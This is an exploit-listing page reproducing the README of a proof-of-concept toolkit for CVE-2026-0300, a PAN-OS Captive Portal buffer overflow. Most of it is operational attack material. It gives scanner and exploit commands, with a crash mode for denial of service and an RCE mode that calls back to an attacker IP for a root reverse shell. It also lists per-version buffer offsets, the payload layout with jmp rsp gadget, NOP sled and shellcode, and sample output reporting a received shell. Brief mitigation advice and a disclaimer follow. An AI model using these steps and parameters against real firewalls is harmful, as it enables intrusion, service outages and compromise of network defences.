Sploitus

Exploit for Out-of-bounds Write in Paloaltonetworks Pan-Os

githubexploit Β· 2026-08-06

Exploit Code

README526 lines
## https://sploitus.com/exploit?id=EE80C31F-5150-5C4C-9884-6BB46E110FD7
# CVE-2026-0300 β€” PAN-OS User-ID Authentication Portal Buffer Overflow Exploit

> **Critical (CVSS 9.3)** β€” Unauthenticated Remote Code Execution in Palo Alto Networks PAN-OS Captive Portal

## Table of Contents

- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [Affected Versions](#affected-versions)
- [Architecture Diagrams](#architecture-diagrams)
- [Project Structure](#project-structure)
- [Installation](#installation)
- [Scanner Usage β€” Step by Step](#scanner-usage--step-by-step)
- [Exploit Usage β€” Step by Step](#exploit-usage--step-by-step)
- [Payload Design](#payload-design)
- [Mitigation](#mitigation)
- [Disclaimer](#disclaimer)

---

## Overview

CVE-2026-0300 is a critical buffer overflow vulnerability in the **User-ID Authentication Portal** (also known as Captive Portal) service of Palo Alto Networks PAN-OS software. An unauthenticated attacker can exploit this vulnerability by sending specially crafted packets to execute arbitrary code with **root privileges** on PA-Series and VM-Series firewalls.

This repository contains a proof-of-concept exploit toolkit including:
- **Payload generator** with version-specific offsets and x86_64 reverse shell shellcode
- **Scanner** to detect vulnerable Captive Portal targets
- **Exploit** with three modes: detection, crash (DoS), and full RCE

---

## Vulnerability Details

| Field | Value |
|-------|-------|
| **CVE ID** | CVE-2026-0300 |
| **Severity** | CRITICAL |
| **CVSS 4.0** | 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| **CWE** | CWE-787: Out-of-bounds Write |
| **CAPEC** | CAPEC-100: Overflow Buffers |
| **Impact** | Unauthenticated Remote Code Execution (root) |
| **Exploitation Status** | Limited exploitation observed in the wild |

### Description

A buffer overflow vulnerability in the User-ID Authentication Portal service of PAN-OS software allows an unauthenticated attacker to execute arbitrary code with root privileges on the firewall by sending specially crafted packets. The Captive Portal HTTP service uses fixed-size stack buffers for parsing HTTP headers, which can be overflowed via oversized header values (Cookie, User-Agent, URI, or POST body).

### Required Configuration for Exposure

Both conditions must be true for a target to be vulnerable:

1. **User-ID Authentication Portal enabled** β€” Device > User Identification > Authentication Portal Settings > Enable Authentication Portal
2. **Interface management profile with response pages** β€” attached to an L3 interface in a zone where untrusted/internet traffic can ingress

### Advisory Reference

- **Official Advisory**: https://security.paloaltonetworks.com/CVE-2026-0300
- **Best Practice Guidelines**: https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC

---

## Affected Versions

| PAN-OS Branch | Vulnerable Versions | Fixed Version |
|---------------|---------------------|---------------|
| 10.2 | 10.2.7, 10.2.10, 10.2.13, 10.2.16, 10.2.18 | 10.2.7-h34+ |
| 11.1 | 11.1.0–11.1.14 | 11.1.15+ |
| 11.2 | 11.2.0–11.2.11 | 11.2.12+ |
| 12.1 | 12.1.0–12.1.6 | 12.1.7+ |

**Not impacted**: Prisma Access, Cloud NGFW, Panorama appliances.

---

## Architecture Diagrams

### System Architecture

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    CVE-2026-0300 Exploit Toolkit                     β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                                      β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
β”‚  β”‚  scan.py   │────▢│  HTTP Fingerprintβ”‚     β”‚  payload_gen.py    β”‚  β”‚
β”‚  β”‚  Scanner   β”‚     β”‚  + Version Check β”‚     β”‚                    β”‚  β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚  β”‚
β”‚         β”‚                                   β”‚  β”‚ Version      β”‚  β”‚  β”‚
β”‚         β”‚  Reports:                         β”‚  β”‚ Offsets      β”‚  β”‚  β”‚
β”‚         β”‚  β€’ Portal detected?               β”‚  β”‚ (10.2/11.1/  β”‚  β”‚  β”‚
β”‚         β”‚  β€’ PAN-OS version                 β”‚  β”‚  11.2/12.1)  β”‚  β”‚  β”‚
β”‚         β”‚  β€’ Vulnerable?                    β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚  β”‚
β”‚         β–Ό                                   β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚  β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”‚  β”‚ Shellcode    β”‚  β”‚  β”‚
β”‚  β”‚ exploit.py │────▢│  Raw Socket     β”‚     β”‚  β”‚ Generator    β”‚  β”‚  β”‚
β”‚  β”‚  Exploit   β”‚     β”‚  HTTP Delivery  β”‚     β”‚  β”‚ (x86_64 rev  β”‚  β”‚  β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚  β”‚  shell)      β”‚  β”‚  β”‚
β”‚         β”‚                                   β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚  β”‚
β”‚         β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”         β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚  β”‚
β”‚         β”œβ”€β–Άβ”‚ MODE: detect         β”‚         β”‚  β”‚ ROP Chain    β”‚  β”‚  β”‚
β”‚         β”‚  β”‚ Safe, non-intrusive  β”‚         β”‚  β”‚ (jmp rsp)    β”‚  β”‚  β”‚
β”‚         β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜         β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚  β”‚
β”‚         β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”         β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚  β”‚
β”‚         β”œβ”€β–Άβ”‚ MODE: crash          β”‚         β”‚  β”‚ HTTP Request β”‚  β”‚  β”‚
β”‚         β”‚  β”‚ DoS validation       β”‚         β”‚  β”‚ Builder      β”‚  β”‚  β”‚
β”‚         β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜         β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚  β”‚
β”‚         β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”         β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚
β”‚         └─▢│ MODE: rce            β”‚                                   β”‚
β”‚            β”‚ Reverse shell        β”‚     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”‚
β”‚            β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚ ReverseShellListener β”‚     β”‚
β”‚                    β”‚                    β”‚ (callback receiver)  β”‚     β”‚
β”‚                    β–Ό                    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚
β”‚            β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                                      β”‚
β”‚            β”‚  Target Firewall β”‚                                      β”‚
β”‚            β”‚  PAN-OS Captive  β”‚                                      β”‚
β”‚            β”‚  Portal Service  β”‚                                      β”‚
β”‚            β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                                      β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

### Scanner Flow

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Start Scan β”‚
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜
       β”‚
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     No     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Target reachable?│──────────▢│  Skip port  β”‚
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜            β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚ Yes
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Send HTTP GET    β”‚
β”‚ to common ports  β”‚
β”‚ (443,80,8080,    β”‚
β”‚  8443,8843)      β”‚
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     No     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Captive Portal   │──────────▢│ Not exposed β”‚
β”‚ fingerprint?     β”‚            β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
β”‚ (login.esp,      β”‚
β”‚  User-ID, PA-,   β”‚
β”‚  PAN-OS, etc.)   β”‚
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚ Yes
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Extract PAN-OS   β”‚
β”‚ version from     β”‚
β”‚ Server header /  β”‚
β”‚ response body    β”‚
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     No     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Version in       │──────────▢│ Not         β”‚
β”‚ vulnerable       β”‚            β”‚ vulnerable  β”‚
β”‚ range?           β”‚            β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚ Yes
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Report:          β”‚
β”‚ β€’ VULNERABLE     β”‚
β”‚ β€’ Version        β”‚
β”‚ β€’ Matched ranges β”‚
β”‚ β€’ SSL cert info  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

### Exploit Flow (RCE Mode)

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  EXPLOIT EXECUTION FLOW                                          β”‚
β”‚                                                                  β”‚
β”‚  1. Generate Payload                                             β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚  [Padding to offset] [Saved FP] [ROP: jmp rsp]           β”‚   β”‚
β”‚  β”‚  [NOP sled (128B)] [Shellcode (184B rev shell)]          β”‚   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β”‚                           β”‚                                      β”‚
β”‚  2. Embed in HTTP Header  β–Ό                                      β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚  GET / HTTP/1.1                                          β”‚   β”‚
β”‚  β”‚  Host: target:443                                        β”‚   β”‚
β”‚  β”‚  Cookie:                                        β”‚   β”‚
β”‚  β”‚  Connection: close                                       β”‚   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β”‚                           β”‚                                      β”‚
β”‚  3. Start Listener       β–Ό                                      β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                                           β”‚
β”‚  β”‚  Listener binds  β”‚  ← Must start BEFORE sending payload     β”‚
β”‚  β”‚  on callback     β”‚                                            β”‚
β”‚  β”‚  IP:port         β”‚                                            β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                                           β”‚
β”‚                           β”‚                                      β”‚
β”‚  4. Send via SSL/TLS     β–Ό                                      β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                                           β”‚
β”‚  β”‚  Raw socket      β”‚  β†’ Target Captive Portal service          β”‚
β”‚  β”‚  sends request   β”‚                                            β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                                           β”‚
β”‚                           β”‚                                      β”‚
β”‚  5. Buffer Overflow      β–Ό                                      β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚  Portal parses Cookie header into fixed-size stack bufferβ”‚   β”‚
β”‚  β”‚  Buffer overflows β†’ overwrites saved FP + return address β”‚   β”‚
β”‚  β”‚  Return address β†’ ROP gadget (jmp rsp)                   β”‚   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β”‚                           β”‚                                      β”‚
β”‚  6. Code Execution       β–Ό                                      β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚  jmp rsp β†’ NOP sled β†’ shellcode executes                 β”‚   β”‚
β”‚  β”‚  socket() β†’ connect(attacker_ip, port) β†’ dup2() β†’        β”‚   β”‚
β”‚  β”‚  execve("/bin/sh")                                       β”‚   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β”‚                           β”‚                                      β”‚
β”‚  7. Reverse Shell        β–Ό                                      β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                                           β”‚
β”‚  β”‚  Listener acceptsβ”‚  β†’ Attacker has root shell on firewall  β”‚
β”‚  β”‚  callback        β”‚                                            β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                                           β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

---

## Project Structure

```
POC-CVE-2026-0300-exploit/
β”œβ”€β”€ payload_gen.py      # Payload generation (shellcode, ROP, HTTP request builder)
β”œβ”€β”€ scan.py             # Vulnerability scanner (detect Captive Portal + version)
β”œβ”€β”€ exploit.py          # Exploit orchestrator (detect/crash/rce modes)
β”œβ”€β”€ requirements.txt    # Python dependencies
└── README.md           # This file
```

---

## Installation

```bash
# Clone the repository
git clone git@github.com:sam00/POC-CVE-2026-0300-exploit.git
cd POC-CVE-2026-0300-exploit

# Install dependencies (requests is optional β€” raw sockets are used by default)
pip3 install -r requirements.txt
```

**Requirements**: Python 3.8+, standard library only for core functionality. `requests` is optional.

---

## Scanner Usage β€” Step by Step

The scanner performs safe, non-intrusive checks to identify vulnerable PAN-OS Captive Portal targets.

### Step 1: Scan a Single Target

```bash
python3 scan.py --target 192.168.1.1
```

The scanner will:
- Probe common ports (443, 80, 8080, 8443, 8843)
- Send HTTP requests and check for Captive Portal fingerprints
- Extract PAN-OS version from Server headers and response body
- Check if the version falls within vulnerable ranges
- Print a color-coded report

### Step 2: Scan with Specific Port

```bash
python3 scan.py --target 192.168.1.1 --port 443
```

### Step 3: Scan Multiple Targets from File

Create a file `targets.txt` with one target per line:

```
192.168.1.1
10.0.0.5
firewall.example.com
# Comments are ignored
```

```bash
python3 scan.py --targets targets.txt
```

### Step 4: Save Results as JSON

```bash
python3 scan.py --target 192.168.1.1 --json scan_results.json
```

### Scanner Output Example

```
====================================================================
  CVE-2026-0300 VULNERABILITY SCANNER
  PAN-OS User-ID Authentication Portal Buffer Overflow
====================================================================
  Target:   192.168.1.1
  Ports:    443, 80, 8080, 8443, 8843
  Time:     2026-08-06T12:00:00+00:00
  Portal:   DETECTED
  Status:   VULNERABLE

  ─ Port 443 ─
    HTTP Status:     200
    PAN-OS Version:  11.2.7
    Vulnerable:      True
    Fingerprints:    login\.esp, userId, Authentication Portal, PAN-OS
    SSL Subject:     {'commonName': 'firewall.example.com'}
====================================================================
```

### What the Scanner Detects

| Indicator | Method |
|-----------|--------|
| Captive Portal exposed | HTTP fingerprint matching (login.esp, User-ID, PA-, PAN-OS patterns) |
| PAN-OS version | Server header parsing, response body regex extraction |
| Vulnerable version | Comparison against CVE-2026-0300 affected version ranges |
| SSL certificate | Certificate subject/issuer for target identification |

---

## Exploit Usage β€” Step by Step

The exploit supports three modes of increasing intensity.

### Mode 1: Detect (Safe, Non-Intrusive)

Sends a moderately oversized header and compares the response to a normal request. Does NOT crash the service.

```bash
python3 exploit.py --target 192.168.1.1 --mode detect
```

**What it does**:
- Sends a 4KB Cookie header (oversized but not weaponized)
- Sends a normal request for baseline comparison
- Reports if the target responds differently to oversized input
- Indicates likely vulnerability if responses differ

### Mode 2: Crash (DoS Validation)

Sends a buffer overflow payload with an invalid return address (0x41414141) to crash the Captive Portal service.

```bash
python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7
```

**What it does**:
- Generates a version-specific overflow payload
- Overwrites the return address with 0x4141414141414141
- Sends via the chosen overflow vector (default: Cookie header)
- Verifies service crash with a follow-up request
- Reports if the service is down after the payload

**Options**:
- `--vector cookie|ua|uri|post` β€” Choose overflow vector (default: cookie)
- `--http` β€” Use HTTP instead of HTTPS

### Mode 3: Full RCE (Reverse Shell)

Sends a buffer overflow with a reverse shell payload. Starts a listener to receive the callback.

```bash
python3 exploit.py --target 192.168.1.1 --mode rce \
    --version 11.2.7 \
    --callback-ip 10.0.0.1 \
    --callback-port 4444
```

**What it does**:
- Generates payload: padding + ROP gadget (jmp rsp) + NOP sled + reverse shell shellcode
- Starts a TCP listener on the callback IP:port
- Sends the weaponized HTTP request to the target
- Waits for the reverse shell callback
- Reports success if a connection is received

**Required arguments**:
- `--version` β€” Target PAN-OS version (determines buffer offset and ROP gadget)
- `--callback-ip` β€” Your IP address (must be reachable from target)
- `--callback-port` β€” Port for reverse shell callback (default: 4444)

**Optional arguments**:
- `--vector cookie|ua|uri|post` β€” Overflow vector (default: cookie)
- `--nop-sled 128` β€” NOP sled size in bytes (default: 128)
- `--timeout 30` β€” Connection and listener timeout in seconds
- `--http` β€” Use HTTP instead of HTTPS
- `--json report.json` β€” Save exploit report as JSON

### Exploit Output Example (RCE)

```
[*] RCE mode β€” targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie)
[*] Callback: 10.0.0.1:4444
[*] Payload generated:
    Vector:       cookie
    Offset:       3072 bytes to RIP
    Padding:      3072 bytes
    ROP chain:    8 bytes
    NOP sled:     128 bytes
    Shellcode:    184 bytes
    Total:        3392 bytes
    SHA256:       a1b2c3d4...
[*] HTTP request built: 3475 bytes
[*] Starting listener on 10.0.0.1:4444...
[*] Sending exploit payload...
[*] Payload sent. Waiting for callback (timeout: 30s)...
[+] REVERSE SHELL RECEIVED from 192.168.1.1!

====================================================================
  CVE-2026-0300 EXPLOIT REPORT
  PAN-OS User-ID Authentication Portal Buffer Overflow
====================================================================
  Mode:       RCE
  Target:     192.168.1.1:443
  Version:    11.2.7
  Vector:     cookie
  Callback:   10.0.0.1:4444
  Shell:      RECEIVED
  From:       192.168.1.1:54321
====================================================================
```

### Supported Versions and Vectors

**Versions** (with version-specific buffer offsets):

| Version | Buffer Offset | ROP Gadget | Default Vector |
|---------|--------------|------------|----------------|
| 10.2.7 | 2048 | jmp rsp | cookie |
| 10.2.10 | 2048 | jmp rsp | cookie |
| 10.2.13 | 2048 | jmp rsp | cookie |
| 10.2.16 | 2048 | jmp rsp | cookie |
| 10.2.18 | 2048 | jmp rsp | cookie |
| 11.1.0 | 1024 | jmp rsp | cookie |
| 11.1.4 | 1024 | jmp rsp | ua |
| 11.1.6 | 1280 | jmp rsp | ua |
| 11.1.7 | 1280 | jmp rsp | ua |
| 11.1.10 | 1280 | jmp rsp | ua |
| 11.1.13 | 1280 | jmp rsp | ua |
| 11.2.0 | 3072 | jmp rsp | cookie |
| 11.2.4 | 3072 | jmp rsp | cookie |
| 11.2.7 | 3072 | jmp rsp | cookie |
| 11.2.10 | 3072 | jmp rsp | cookie |
| 12.1.0 | 4096 | jmp rsp | post |
| 12.1.4 | 4096 | jmp rsp | post |

**Vectors**:

| Vector | Header/Location | Description |
|--------|----------------|-------------|
| `cookie` | Cookie header | Overflow via oversized Cookie value |
| `ua` | User-Agent header | Overflow via oversized User-Agent value |
| `uri` | Request URI path | Overflow via oversized URI path |
| `post` | POST body | Overflow via oversized POST form data |

---

## Payload Design

### Buffer Overflow Layout

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  HTTP Header Value (Cookie / User-Agent / URI / POST body)     β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  Padding β”‚  Saved   β”‚  ROP     β”‚  NOP     β”‚  Shellcode         β”‚
β”‚  (to     β”‚  Frame   β”‚  Gadget  β”‚  Sled    β”‚  (reverse shell)   β”‚
β”‚  offset) β”‚  Pointer β”‚  (jmp    β”‚  (\x90   β”‚                    β”‚
β”‚          β”‚  (8 B)   β”‚  rsp)    β”‚  * N)    β”‚                    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
           ↑                     ↑
           Buffer overflow       Return address overwritten
           overwrites here       with jmp rsp gadget
```

### Shellcode

The exploit uses position-independent x86_64 Linux shellcode that:
1. Creates a TCP socket (`socket(AF_INET, SOCK_STREAM, 0)`)
2. Connects back to the attacker's IP:port (`connect()`)
3. Redirects stdin/stdout/stderr to the socket (`dup2()`)
4. Spawns a shell (`execve("/bin/sh", NULL, NULL)`)

Total shellcode size: ~184 bytes, contains `syscall` instructions (`\x0f\x05`).

---

## Mitigation

### Immediate Actions

1. **Restrict access** to the User-ID Authentication Portal β€” limit to trusted internal IP addresses only
2. **Disable response pages** on untrusted interfaces (Network > Interface > Advanced > Management Interface Profile)
3. **Disable the Authentication Portal** if not needed (Device > User Identification > Authentication Portal Settings)
4. **Upgrade PAN-OS** to a fixed version

### Fixed Versions

- PAN-OS 10.2: 10.2.7-h34 and later
- PAN-OS 11.1: 11.1.15 and later
- PAN-OS 11.2: 11.2.12 and later
- PAN-OS 12.1: 12.1.7 and later

---

## Disclaimer

This tool is provided for **authorized security testing and educational purposes only**. Only use against systems you own or have explicit written permission to test. Unauthorized use against production systems is illegal and may violate computer fraud and abuse laws.

